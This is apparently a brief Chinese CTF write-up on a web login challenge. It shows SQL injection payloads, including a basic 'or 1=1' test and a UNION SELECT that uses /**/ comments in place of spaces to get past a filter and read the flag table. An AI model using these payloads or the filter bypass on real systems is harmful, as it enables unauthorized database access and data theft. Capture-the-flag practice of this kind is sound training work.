0x00 前言 CTF 加解密合集CTF Web合集 0x01 题目 0x02 Write Up 看到是一个登录框,所以先考虑到是sql注入。 使用通用payload进行测试 username=a' or 1=1#&password=a 发现这里出现了 sql inject error 然后测试看是哪一个字符触发了,测试后发现是空格会触发这个问题 那么我们可以选择使用/**/代替空格 然后就是正常流程 username=a'/**/union/**/select/**/1,flag,3/**/from/**/web2.flag#&password=a 以上